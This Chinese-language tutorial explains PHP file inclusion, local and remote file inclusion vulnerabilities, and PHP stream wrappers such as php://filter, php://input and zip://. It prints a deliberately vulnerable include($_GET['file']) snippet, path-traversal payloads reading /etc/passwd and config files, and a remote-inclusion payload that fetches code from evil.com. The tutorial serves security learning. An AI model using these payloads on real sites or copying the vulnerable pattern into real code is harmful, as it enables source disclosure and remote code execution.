PHP 文件包含以及PHP伪协议

一、文件包含的作用

1. 代码复用和模块化

复制代码
// 传统方式:每个页面都要写相同代码
// page1.php
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
// ...页面内容...
​
// page2.php  
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
// ...另一个页面内容...
​
// 使用包含:提取公共部分
// header.php
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
​
// page1.php
include 'header.php';
// ...页面1特有内容...
​
// page2.php
include 'header.php';  
// ...页面2特有内容...

2. 配置文件管理

复制代码
// config.php
<?php
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'password';
$db_name = 'myapp';
?>
​
// 所有需要数据库连接的页面
require 'config.php';
$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);

3. 动态内容加载

复制代码
// 根据用户选择加载不同模块
$page = $_GET['page'] ?? 'home';
​
switch($page) {
    case 'about':
        include 'pages/about.php';
        break;
    case 'contact':
        include 'pages/contact.php';
        break;
    default:
        include 'pages/home.php';
}

二、文件包含漏洞

漏洞产生原因

当包含的文件路径可以被用户控制时,就可能产生漏洞。

漏洞产生条件

复制代码
// 危险代码示例
$page = $_GET['page'];  // 用户可控输入
include($page . '.php'); // 直接包含用户输入

漏洞类型

1. 本地文件包含(LFI - Local File Inclusion)

攻击者读取服务器上的敏感文件:

复制代码
// 假设有这样的代码
include($_GET['file']);
​
// 攻击者可以:
// 查看系统文件
?file=../../../etc/passwd
​
// 查看网站源码
?file=../../config.php
​
// 查看日志文件(可能包含攻击代码)
?file=../../../var/log/apache2/access.log
2. 远程文件包含(RFI - Remote File Inclusion)

攻击者包含远程服务器上的恶意文件:

复制代码
// 需要 allow_url_include=On(默认关闭)
include($_GET['file']);
​
// 攻击者可以:
?file=http://evil.com/shell.txt
// 这样就会执行攻击者服务器上的PHP代码

PHP 伪协议使用总结

常用伪协议类型

  • file://

  • php://filter

  • php://input

  • zip://


一、file://协议

PHP配置要求

  • 允许状态 :在 allow_url_fopenallow_url_include 均为 OFF 时仍可正常使用

  • 作用:主要用于文件读取操作

示例
复制代码
file:///etc/passwd
file://C:/Windows/system.ini

二、php://协议

1. php://filter

配置要求
  • 允许状态:在双off的情况下也可以正常使用
参数说明

四个主要参数:

  1. resource - 指定要筛选过滤的数据流(必需)

  2. read - 读数据时的筛选过滤器

  3. write - 写数据时的筛选过滤器

  4. <, > - 数据流方向控制

使用示例

读取文件并base64编码

复制代码
php://filter/read=convert.base64-encode/resource=test.txt

写入时转换大小写

复制代码
php://filter/write=string.toupper/resource=666.txt

注:write参数需要配合 fopen($file, 'w') 写入模式使用

参数特性总结
  • read参数 :用于读取时处理 → 使用 file_get_contents() 测试

  • write参数 :用于写入时处理 → 需要 fopen($file, 'w') 模式测试


2. php://input

配置要求
  • allow_url_fopen:OFF/ON 均可

  • allow_url_include:必须为 ON

功能特性
  • 访问请求原始数据的只读流

  • 将POST请求中的数据作为PHP代码执行


三、压缩协议类

配置要求

  • 允许状态:在双off的情况下也可以正常使用

1. zip://协议

格式
复制代码
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
示例
复制代码
zip://test.zip#test.txt
zip://C:/test.zip#dir/test.txt

2. bzip2://协议

格式
复制代码
compress.bzip2://文件路径
示例
复制代码
# 读取压缩文件
compress.bzip2://test.bz2

# 绝对路径
compress.bzip2://D:/test.bz2

# 相对路径  
compress.bzip2://./test.bz2

3. zlib://协议

格式
复制代码
compress.zlib://文件路径
示例
复制代码
# 读取.gz文件
compress.zlib://test.gz

# 绝对路径
compress.zlib://D:/test.gz

# 网络文件解压读取
compress.zlib://http://example.com/data.gz

四、使用注意事项

  1. 路径格式:压缩协议中的文件路径需使用绝对路径

  2. 特殊字符# 在URL中需要编码为 %23

  3. 权限限制:各协议受不同PHP配置项影响

  4. 安全风险:这些协议常被用于文件包含漏洞利用,生产环境应严格限制使用

相关推荐
一名优秀的码农3 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
努力的lpp3 天前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入
努力的lpp3 天前
SQL 报错注入
数据库·sql·web安全·网络安全·sql注入
岛屿旅人3 天前
2025年中东地区网络安全态势综述
网络·安全·web安全·网络安全
努力的lpp3 天前
【ctf常用备用文件名字典】
web安全·网络安全·ctf
Mikowoo0073 天前
渗透测试_漏洞利用
网络安全
啥都想学点3 天前
pikachu靶场——Cross-Site Scripting-1(Kali系统)
网络安全
F1FJJ3 天前
基于网络隐身的内网穿透
网络协议·网络安全·go
苏天夏3 天前
Passport 插件:Typecho 密码安全的技术守护者
安全·网络安全·php
Lust Dusk3 天前
CTFHUB靶场 HTTP协议——302跳转
web安全·网络安全